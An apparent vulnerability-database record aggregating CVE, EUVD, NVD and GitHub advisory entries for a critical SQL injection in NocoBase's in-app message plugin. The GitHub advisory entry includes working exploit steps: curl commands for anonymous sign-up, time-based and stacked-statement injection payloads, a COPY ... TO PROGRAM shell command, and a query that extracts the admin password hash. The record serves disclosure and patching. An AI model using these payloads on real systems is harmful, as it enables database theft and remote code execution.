{"id":"GHSA-p849-8hwh-84j9","revision":null,"records":[{"revision":"71e7e85c4ac34da5a5281d8e25ff244e","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-52887","aliases":[],"title":"NocoBase: SQL injection in /api/myInAppChannels:list filter to PG-superuser RCE","description":"NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to 2.0.61, NocoBase @nocobase/plugin-notification-in-app-message exposed GET /api/myInAppChannels:list, where the filter[latestMsgReceiveTimestamp][$lt] value was inserted into a Sequelize.literal() template string without escaping or parameter binding, allowing a signed-up authenticated user to run stacked PostgreSQL statements and potentially execute commands with COPY ... TO PROGRAM. This vulnerability is fixed in 2.0.61.","state":0,"publishedAt":"2026-07-15T20:16:43.023+00:00","modifiedAt":"2026-07-20T14:39:47.788+00:00","affected":[{"ecosystem":"Vendor product","name":"nocobase","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"nocobase\",\n                    \"product\": \"nocobase\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.0.61\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"severity":"CRITICAL"}],"references":["https://github.com/nocobase/nocobase/security/advisories/GHSA-p849-8hwh-84j9","https://github.com/nocobase/nocobase/commit/68d64e3fcfb8be2ae4f3bfc9e1ee3f85b87c89ce","https://github.com/nocobase/nocobase/releases/tag/v2.0.61"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-52887","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-52887","identifiers":["CVE-2026-52887"]},"retained":false,"historicalAffected":[]},{"revision":"e91d9500fd174a318a670ce85caa2945","observedAt":"2026-11-22T04:38:36.746+00:00","statement":{"source":"euvd","id":"EUVD-2026-44802","aliases":["CVE-2026-52887","GHSA-p849-8hwh-84j9"],"title":"NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to 2.0.61, NocoBase @nocobase/plugin-notification-in-app-message exposed GET /api/myInAppChannels:list, where the filter[…","description":"NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to 2.0.61, NocoBase @nocobase/plugin-notification-in-app-message exposed GET /api/myInAppChannels:list, where the filter[latestMsgReceiveTimestamp][$lt] value was inserted into a Sequelize.literal() template string without escaping or parameter binding, allowing a signed-up authenticated user to run stacked PostgreSQL statements and potentially execute commands with COPY ... TO PROGRAM. This vulnerability is fixed in 2.0.61.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"severity":null}],"references":["https://github.com/nocobase/nocobase/security/advisories/GHSA-p849-8hwh-84j9","https://github.com/nocobase/nocobase/commit/68d64e3fcfb8be2ae4f3bfc9e1ee3f85b87c89ce","https://github.com/nocobase/nocobase/releases/tag/v2.0.61"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-44802","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jul 15, 2026, 8:16:43 PM","dateUpdated":"Jul 20, 2026, 2:39:47 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-44802","identifiers":["EUVD-2026-44802","CVE-2026-52887","GHSA-p849-8hwh-84j9"]},"retained":false,"historicalAffected":[]},{"revision":"5e802232c3a8404b9e7151b43cf6cde3","observedAt":"2026-10-25T13:17:10.707+00:00","statement":{"source":"nvd","id":"CVE-2026-52887","aliases":[],"title":"NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to 2.0.61, NocoBase @nocobase/plugin-notification-in-app-message exposed GET /api/myInAppChannels:list, where the filter[…","description":"NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to 2.0.61, NocoBase @nocobase/plugin-notification-in-app-message exposed GET /api/myInAppChannels:list, where the filter[latestMsgReceiveTimestamp][$lt] value was inserted into a Sequelize.literal() template string without escaping or parameter binding, allowing a signed-up authenticated user to run stacked PostgreSQL statements and potentially execute commands with COPY ... TO PROGRAM. This vulnerability is fixed in 2.0.61.","state":0,"publishedAt":"2026-07-15T21:16:54.543+00:00","modifiedAt":"2026-07-20T16:17:05.02+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"severity":"CRITICAL"}],"references":["https://github.com/nocobase/nocobase/commit/68d64e3fcfb8be2ae4f3bfc9e1ee3f85b87c89ce","https://github.com/nocobase/nocobase/releases/tag/v2.0.61","https://github.com/nocobase/nocobase/security/advisories/GHSA-p849-8hwh-84j9"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-52887","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-89"],"productCriteria":[],"sourceDates":{"published":"2026-07-15T21:16:54.543","lastModified":"2026-07-20T16:17:05.020"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-52887","identifiers":["CVE-2026-52887"]},"retained":false,"historicalAffected":[]},{"revision":"983935cc86e9453d9f316e65ddee6251","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-p849-8hwh-84j9","aliases":["CVE-2026-52887"],"title":"NocoBase: SQL injection in /api/myInAppChannels:list filter to PG-superuser RCE","description":"## Summary\n\n`GET /api/myInAppChannels:list` accepts a structured `filter` query parameter. The handler for the `latestMsgReceiveTimestamp` field splices the `$lt` value directly into a `Sequelize.literal()` template string with no escape, type cast, or parameter binding. The action ACL is `loggedIn`, so any authenticated account reaches it. The default `auth-basic` authenticator ships `allowSignUp: true`, so the account is obtainable anonymously.\n\nThe injection is reachable with the URL parameter `filter[latestMsgReceiveTimestamp][$lt]=<expression>`. The `pg` driver in front of Sequelize accepts stacked statements, so the chain extends from boolean and timing oracles to multi-statement payloads.\n\nThe shipped `docker-compose.yml` creates the DB role `nocobase` on a stock `postgres:16` image, which assigns the `rolsuper` attribute by default. `COPY ... TO PROGRAM '...'` therefore runs shell commands as `uid=999(postgres)` inside the database container.\n\nResult: any anonymous visitor signs up, signs in, and exfiltrates arbitrary rows or executes shell commands inside the database container with one HTTP GET after the sign-in.\n\n## Affected\n\nNocoBase server, `@nocobase/plugin-notification-in-app-message` `<=2.0.57`. Confirmed live-exploitable on the official `nocobase/nocobase:2.0.57` Docker image (HEAD `e35a2737d9df139cacecae0151c3326746e2339a`).\n\n`@nocobase/plugin-notification-in-app-message` is enabled by default in `@nocobase/preset-nocobase`. The default `auth-basic` ships `allowSignUp: true`. The shipped `docker/app-postgres/docker-compose.yml` uses `POSTGRES_USER=nocobase` against `postgres:16`, which makes the role a PostgreSQL superuser; `COPY ... TO PROGRAM` runs from this role.\n\n## Root cause\n\n`packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts:62-63`: the `latestMsgReceiveTimestamp` filter is built as `Sequelize.literal(\\`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}\\`)`. The `$lt` value comes straight from the GET `filter` JSON; the template uses `${...}` interpolation with no `escape()`, `replacements`, or type cast.\n\n`packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/InAppNotificationChannel.ts:200`: `app.acl.allow('myInAppChannels', '*', 'loggedIn')` exposes every action on the resource to every authenticated role, including the seeded `member`.\n\n`packages/plugins/@nocobase/plugin-auth/src/server/plugin.ts:295`: `allowSignUp: true` ships in the default `auth-basic` seed; `POST /api/auth:signUp` returns 200 with no admin involvement.\n\n`docker/app-postgres/docker-compose.yml:30`: `POSTGRES_USER: nocobase` against `postgres:16`. The bare `postgres:16` image creates the named role with `rolsuper=true` (live-verified: `SELECT rolsuper FROM pg_roles WHERE rolname='nocobase'` returns `true`). The `pg` driver simple-query accepts stacked statements.\n\n## Reproduction\n\nTested against `nocobase/nocobase:2.0.57` from the official Docker image with the default `app-postgres` compose. Attacker is an anonymously-signed-up `member`.\n\n1. Anonymous sign-up, then sign-in for a `member` JWT.\n\n```\ncurl -X POST -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"a\",\"password\":\"P!ssw0rd1\",\"confirm_password\":\"P!ssw0rd1\"}' \\\n  http://target:13000/api/auth:signUp?authenticator=basic\nTOKEN=$(curl -sX POST -H 'Content-Type: application/json' \\\n  -d '{\"account\":\"a\",\"password\":\"P!ssw0rd1\"}' \\\n  http://target:13000/api/auth:signIn?authenticator=basic | jq -r .data.token)\n```\n\n2. Time-based oracle confirms injection. Each request below takes ~5 seconds.\n\n```\ncurl -sG -H \"Authorization: Bearer $TOKEN\" -H \"X-Authenticator: basic\" \\\n  \"http://target:13000/api/myInAppChannels:list\" \\\n  --data-urlencode \"filter[latestMsgReceiveTimestamp][\\$lt]=0) AND 1882=(SELECT 1882 FROM PG_SLEEP(5))-- a\"\n```\n\n3. Stacked-statement `COPY ... TO PROGRAM` runs shell as `uid=999(postgres)` inside the database container.\n\n```\ncurl -sG -H \"Authorization: Bearer $TOKEN\" -H \"X-Authenticator: basic\" \\\n  \"http://target:13000/api/myInAppChannels:list\" \\\n  --data-urlencode \"filter[latestMsgReceiveTimestamp][\\$lt]=0); COPY (SELECT 1) TO PROGRAM 'id > /tmp/PWN_VERIFY.txt'; --\"\ndocker exec launch-postgres-1 cat /tmp/PWN_VERIFY.txt\n# uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)\n```\n\nLive-verified: sqlmap 1.10.3 against this endpoint reports `Type: boolean-based blind` (payload `0) AND 1511=(SELECT (CASE WHEN (1511=1511) THEN 1511 ELSE (SELECT 4568 UNION SELECT 9477) END))-- KVYH`), `Type: time-based blind`, `current user: nocobase`, `current user is DBA: True`. Admin password hash `ef6ea7f6...8ea12` exfiltrated via `COPY (SELECT email,password FROM users WHERE id=1) TO PROGRAM 'cat > /tmp/PWN_HASH.txt'`. Reproduced 2026-05-26 against HEAD `e35a2737`.\n\n## Impact\n\n- Authenticated SQL injection with time-based, boolean-based, and stacked-statement primitives (`pg` driver simple-query).\n- Arbitrary row read of any collection, including `users.password` PBKDF2 hashes for the super-admin account.\n- Shell command execution as `uid=999(postgres)` inside the PostgreSQL container via `COPY ... TO PROGRAM`.\n- Anonymous reach in default deployments because `auth-basic` ships `allowSignUp: true`.\n\n## Credit\n\nJan Kahmen, [turingpoint](https://turingpoint.de) (jan@turingpoint.de)","state":0,"publishedAt":"2026-07-31T19:44:59+00:00","modifiedAt":"2026-07-31T20:00:18.5749162+00:00","affected":[{"ecosystem":"npm","name":"@nocobase/plugin-notification-in-app-message","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.0.61"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/nocobase/nocobase/security/advisories/GHSA-p849-8hwh-84j9","https://nvd.nist.gov/vuln/detail/CVE-2026-52887","https://github.com/nocobase/nocobase/pull/9630","https://github.com/nocobase/nocobase/commit/68d64e3fcfb8be2ae4f3bfc9e1ee3f85b87c89ce","https://github.com/nocobase/nocobase","https://github.com/nocobase/nocobase/releases/tag/v2.0.61"],"sourceUrl":"https://github.com/advisories/GHSA-p849-8hwh-84j9","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-p849-8hwh-84j9","identifiers":["GHSA-p849-8hwh-84j9","CVE-2026-52887"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-23T13:25:33.4069785+00:00","complete":true,"records":1790,"lastAttemptAt":"2026-11-23T13:25:33.4069785+00:00","lastSuccessAt":"2026-11-23T13:25:33.6151363+00:00","error":null,"lastVerifiedAt":"2026-11-23T13:25:33.6151368+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-d008fb8e7e5a0f37166ee57a6d9d22b27e49b9d9438b4ce80c4c6c326ac5d75a-b2b82308582e9f96afee3b2a3ab71f87a983dfb4ea4036417ec85e1dba3a4850","complete":true,"records":430626,"lastAttemptAt":"2026-11-23T13:25:33.0969612+00:00","lastSuccessAt":"2026-11-23T13:25:33.0433814+00:00","error":null,"lastVerifiedAt":"2026-11-23T13:25:33.0969612+00:00","snapshotPublishedAt":"2026-11-23T12:28:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2e8051cba0a344dab1e1c63e3b40c81f","complete":false,"records":13928,"lastAttemptAt":"2026-11-23T13:35:15.236828+00:00","lastSuccessAt":"2026-11-23T13:35:15.233+00:00","error":"271 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-23T13:35:15.233+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13682,"expectedIdentifiers":13976,"failedIdentifiers":271},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-23T13:25:33.4069785+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-23T13:25:33.4069785+00:00","lastSuccessAt":"2026-11-23T13:25:33.6158458+00:00","error":null,"lastVerifiedAt":"2026-11-23T13:25:33.615846+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-93e5580208494f94820efc1fb6fd9471","complete":true,"records":13940,"lastAttemptAt":"2026-11-23T13:25:34.1589469+00:00","lastSuccessAt":"2026-11-23T12:25:40.059+00:00","error":null,"lastVerifiedAt":"2026-11-23T12:25:40.059+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13976,"expectedIdentifiers":13976,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-a9c862bcf8bde52ce182f69609f4579ca2fc6956e44f694dddf6a66800619683","complete":true,"records":9989,"lastAttemptAt":"2026-11-23T13:25:33.3608332+00:00","lastSuccessAt":"2026-11-22T16:25:54.6432964+00:00","error":null,"lastVerifiedAt":"2026-11-23T13:25:33.3608332+00:00","snapshotPublishedAt":"2026-11-22T16:18:32+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-23T13:25:33.1550673+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-23T13:25:33.1550673+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-9035327876399d833ccd89428db993d67e1ee675265fd15c191a68c5fa77f5a4","complete":true,"records":3216,"lastAttemptAt":"2026-11-23T13:25:33.3730574+00:00","lastSuccessAt":"2026-11-23T10:27:16.8439398+00:00","error":null,"lastVerifiedAt":"2026-11-23T13:25:33.3730574+00:00","snapshotPublishedAt":"2026-11-23T09:49:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-eff9dfb7fcad562c432f16aeb11b612e17ad078a4a4304d91b73dafe94cec5c7","complete":true,"records":232881,"lastAttemptAt":"2026-11-23T13:25:33.2625635+00:00","lastSuccessAt":"2026-11-23T11:27:05.0429339+00:00","error":null,"lastVerifiedAt":"2026-11-23T13:25:33.2625635+00:00","snapshotPublishedAt":"2026-11-23T10:48:38+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}